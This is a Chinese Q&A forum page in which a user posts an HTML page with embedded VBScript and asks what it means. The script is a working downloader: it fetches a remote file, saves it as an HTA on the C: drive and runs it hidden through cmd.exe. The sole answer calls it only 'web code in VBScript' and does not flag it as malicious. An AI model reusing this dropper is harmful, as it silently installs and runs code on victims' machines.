这一大串字符有什么含义

答案:1 悬赏:20 手机版

解决时间 2021-06-04 10:57

提问者网友：ミ烙印ゝ
2021-06-04 04:44

<html>
<body bgcolor="#FFFFFF" onBlur="self.focus()">
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.responseTEXT
SaveFile HttpDoGet,"c:\a.hta" '在C:根目录下生成HTA文件
Set oReq=nothing
End if
End Function
'保存文本文件，生成本地HTA。
sub SaveFile(str,fName)
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile(fName, True)
tf.Write str
tf.Close
exewin()
End sub
'运行函数
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\a.hta",0)
window.close
End Sub
'得到本地HTA文件
HttpDoGet("http.txt")
</script>
</body>
</html>

最佳答案

五星知识达人网友：逃夭
2021-06-04 06:15

我只能告诉你,这是一个网页代码,而且是用VBscript编的.

我要举报

如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！